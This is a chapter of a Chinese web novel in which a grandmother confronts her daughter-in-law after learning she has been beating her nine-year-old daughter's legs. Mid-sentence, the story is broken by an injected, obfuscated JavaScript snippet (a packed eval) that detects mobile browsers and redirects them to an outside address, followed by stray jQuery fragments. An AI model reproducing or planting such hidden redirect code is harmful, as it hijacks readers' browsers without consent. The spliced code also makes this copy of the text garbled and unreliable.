10. 第010章;

作品:《市井小户女

    祝咏文脚步踉跄着闯进院子的时候,芙生已经废了九牛二虎之力,携兰生和菊生将曹三巧“扶”着在檐下椅子上坐下了。


    台阶下,林翠跌坐在地上,发髻散乱,扑在梅生的怀中呜咽声不停。


    而曹三巧的叫骂声也丝毫没停歇。


    能被芙生给“扶”走,是她有意顺着的,嘴里没停,是她成心想要下林翠的脸,顺带着摆明自己的态度、拉近和芙生的关系的。


    她本是打算围绕着林翠挑拨离间的恶毒心肠继续骂的,可一抬头瞧见祝咏文的身影,话便在嘴里转了个弯子,直奔林翠打梅生这件事情去了。


    “大嫂子,都说长嫂如母,但你也不瞧瞧你做的那事儿,能让人将你长嫂如母般的供着么?大娘多好一孩子啊,我巴不得那是我生的,你呢?黑心肝的!只要自己不舒坦,就拿那老长的竹条子去抽大娘的腿!”


    曹三巧瞧着林翠那哪怕低着头都掩盖不住的心虚,冷笑一声:


    “要说我骂的也没错,你多精明啊!你咋不往别的地方打呢?打腿上,裙儿裤子遮着,没人瞧得见啊!烂心烂废的,还偷摸喝坐胎的药,想生儿子,我看你怀不上,那是送子娘娘瞧你不配为娘,所以不敢送子来……”


    曹三巧最知晓什么事对自己有利了。


    方才她是为了巩固芙生心中好三婶娘的形象。


    如今她是要拐着弯子的和大伯哥告状,告诉祝咏文这个大伯哥——我不是故意要打你媳妇、骂你媳妇的,是你媳妇不做人。


    而这么做,也全凭借她的敏锐。


    她老早就发现了,祝咏文心里的确有林翠这个媳妇,且因多年感情,分量还不轻;可又因多年来只有梅生一个孩子,祝咏文疼惜女儿,若分重量,心中那杆子秤则是偏向了女儿的。


    去岁除夕,家里爷们喝酒,她去给送下酒菜,可是清楚的听见大伯哥说了的:


    只有大娘一个女儿也无妨,以后招赘在家里,大娘性子软,他还能帮着压制女婿,不叫大娘受欺负。


    如今她是个为大娘出头的好婶娘,下午梅生进屋和林翠说话的时候她刻意留心了……


    哪怕今晚打人的是她曹三巧,遭殃的也必定是林翠。


    曹三巧说的这些,芙生她们还是头一次直到,而芙生也总算明白梅生下午时的不对在哪儿了。


    “大姐姐……”


    芙生下意识想关心两句。


    还不等她话说完,被曹三巧的话怔愣在院门口的祝咏文动了。


    梅生是女孩儿,且已九岁了,女大避父,祝咏文和女儿的相处早不如幼时那般的亲昵无间、万事皆知了。


    林翠虽然爱红眼框,性子也有些拧巴,可梅生终究是她和他唯一的孩子,且瞧着也是日后唯一的指望,所以他才放心的将照顾女儿的事儿全交予了她。


    想着有娘看着,不会出什么问题。


    这么些年下来,他本以为是没甚问题的。


    可从三弟妹的话里……


    “大娘,让爹……”


    祝咏文见林翠半个身子都压在梅生的身上,恰好也压着梅生的腿,梅生的神情的确不大对,一把便将梅生从地上拉了起来。


    他本是想说让他看看身上有没有伤,猛地想起曹三巧说的是在外人不会瞧见的腿上,而着大庭广众的……


    “二娘,三娘,”他看向了兰生和芙生:“替大伯将你们大姐姐带去屋里,瞧瞧身上有没有伤。”


    祝咏文拉起梅生时,林翠没了支撑,一下便倒地上了。


    本还因祝咏文的举动而恼火,可听见他的话后,便只剩下惊慌。


    “大娘!”趁着梅生还在身边,林翠一把拉住了她的衣裳:“大娘,娘疼啊!这整个家里都欺负娘啊!”


    这是她最常用的招数,因着梅生对她心软,每每用起,分外管用。


    有那好事的,例如张婆子,这时候就开始帮腔了。


    “是啊,祝老大,我瞧你媳妇可不好呢!”


    听有看热闹时间比她长的可说了,祝家大郎跑去叫人了。


    杨铁娘还没回来呢!


    里头的戏,且缺少主角,不能转到下一场呢!


    张婆子不仅帮腔,还撺掇着身边的人一起,唯恐天下不乱的模样不要太显眼。


    往常她这么撺掇,总是有人跟着附和的,只这一回不一样。


    她左戳戳、右搡搡,身边的人始终没一个跟着应和的,反而她自己背后升起了凉意。


    张婆子心有些慌,悄悄地转头往后看,直愣愣的和刚赶回来的杨铁娘对上了眼。


    听筠生说了家里情况的杨铁娘本就肚中憋火,回来瞧见门口挤着不少人,火气则是更旺了。张婆子这是撞在了枪头上。


    “这么爱嚼舌,怪不得生意差呢!”


    杨铁娘狞笑着,一把抓住了张婆子的衣领,将她搡到了边上去,又狠狠的瞪了一眼,这才迈步子进了院门。


    张婆子这下不心慌了。


    她那一颗心直跳出了打鼓声。


    祝家的院门在眼前关上,隔绝了瞧热闹的邻里的视线。


    “张婆子,反正你不怕虎罗刹,要不你给她推开?”


    有看热闹的开始撺掇张婆子了。


    “滚你娘的蛋!”


    杨铁娘眼神那样的吓人,林翠又是她挑拨的,她可没胆子干那要命的事儿!


    勾着身子往自家走,张婆子那步子迈的快极了。


    而此时,祝家院里又是另一番光景了。


    摊子生意好,所以只回来了杨铁娘,筠生都被她留在那边给胡香娣打下手了。


    她脸色阴沉如铁,自打人进了院子,整个院中是前所未有的安静。


    林翠不敢哭也不敢说话了,曹三巧不敢骂,人也从凳子上站起来了。


    就连祝咏文,那也是站的溜溜直。


    “说到哪儿了?”杨铁娘迈着步子走到最中间的位置,扯下腰间系的汗巾子,在脖子、脸上抹了一把:“怎么不继续说了?”


    她的声音很是平稳,没多少起伏,语气算不上低沉,却莫明叫人心颤。


    曹三巧的肚子已经五个月了,本就娇小,胎养的好,瞧着挺了老高。


    杨铁娘瞥眼过去,眉头一锁、手一抬:“你给我坐下,肚子多大了不清楚?”


    清楚这个儿媳妇是个顺竿爬的尖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241198|197741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    滑犟种,也清楚这个儿媳妇不会无的放矢,杨铁娘暂时没计较她扯嗓子叫骂。


    瞧见杨铁娘时,曹三巧就老实了,这会儿叫她坐,她捧着肚子就坐了下去,还不忘拉过女儿菊生挡在自己面前。


    整一个没眼看。


    杨铁娘白了她一眼。


    “二娘三娘,”见兰生、芙生一左一右拉着梅生,杨铁娘又问:“扯着你们大姐姐作甚?”


    她回来的时候听见的不多,故而有此一问。又清楚大娘的性格,便直接没问她。


    兰生是嘴快又热心肠的:“三婶娘说大伯娘打大姐姐,大伯叫我们看看大姐姐腿上有没有伤。”


    她都说了,芙生也没有要补充的,干脆点了点头。


    院门关的紧紧的,墙头也只有个不长眼的刘四嫂还扒着。杨铁娘给了兰生一个眼神。


    兰生左瞧瞧、右看看,抽了晾衣的竹竿便去掀人了。


    胡香娣舍得贴补孩子的嘴,二房的孩子长得都壮实些,虽兰生比梅生还小几个月,可兰生那个头早就抽芽儿似的长起来了。


    晾衣服的竹竿举在手里,丁点不显突兀。


    刘四嫂前些日子又和胡香娣打过架,算是新仇旧恨一起,兰生下手丁点不含糊。


    芙生瞧了一眼便收回了目光,伸手挽住了梅生的胳膊。


    她婆婆接下来必定有动作,她可得扶好大姐姐。


    果不其然,见墙头的刘四嫂没了影,只剩隔墙的叫骂后,杨铁娘麻利的弯腰掀起了梅生的裤脚。


    初夏的裤子口儿敞,很容易就掀起来了,梅生又被芙生挽着,想躲开根本没躲过去。


    就着院子里挂着的灯笼,以及那分外明亮的月光,梅生小腿上那格外显眼的红痕便落入了大家的眼中。


    除了那新鲜的、泛着乌青的红痕外,梅生的小腿上还有没完全消散的旧痕迹。


    这还只是小腿。


    杨铁娘看了眼梅生脸上怯怯的表情,伸手在梅生的大腿上捏了一把。


    “嘶……”


    吸气声出了一半便憋住了。但大家也清楚了这腿上还有别的伤。


    如刀子般的目光落在林翠的身上,是两道。


    杨铁娘盯着林翠那蓬乱的头发和没受伤的脸,觑着她表情变化,半晌后才开了口:


    “你倒是好得很。”


    这可不是夸赞的话,每一个字都咬得极重,像是一把锥子似的落在林翠的心伤,叫林翠发颤。


    林翠缩了缩脖子,看了眼祝咏文,见他面色阴沉如水、唇抿成一条线,才小心翼翼的看向杨铁娘,试图给自己辩解:


    “是……是大娘不听话,我才……我才小惩大戒……”


    声音底气不足的很。


    “大娘不听话……呵呵……”杨铁娘气笑了,笑过后剜了一眼祝咏文:“梅生是咱们祝家孙辈里头的第一个,长孙女,当年你爹和我有多欢喜你知道。你媳妇,也好久没回去探亲了,明儿你亲自送她回去探亲,叫她在娘家多住些时日!”


    言罢,再也没看他们一眼,扯着梅生便往正房去,路过曹三巧的时候,分了半个眼神。


    “你也跟着进来!”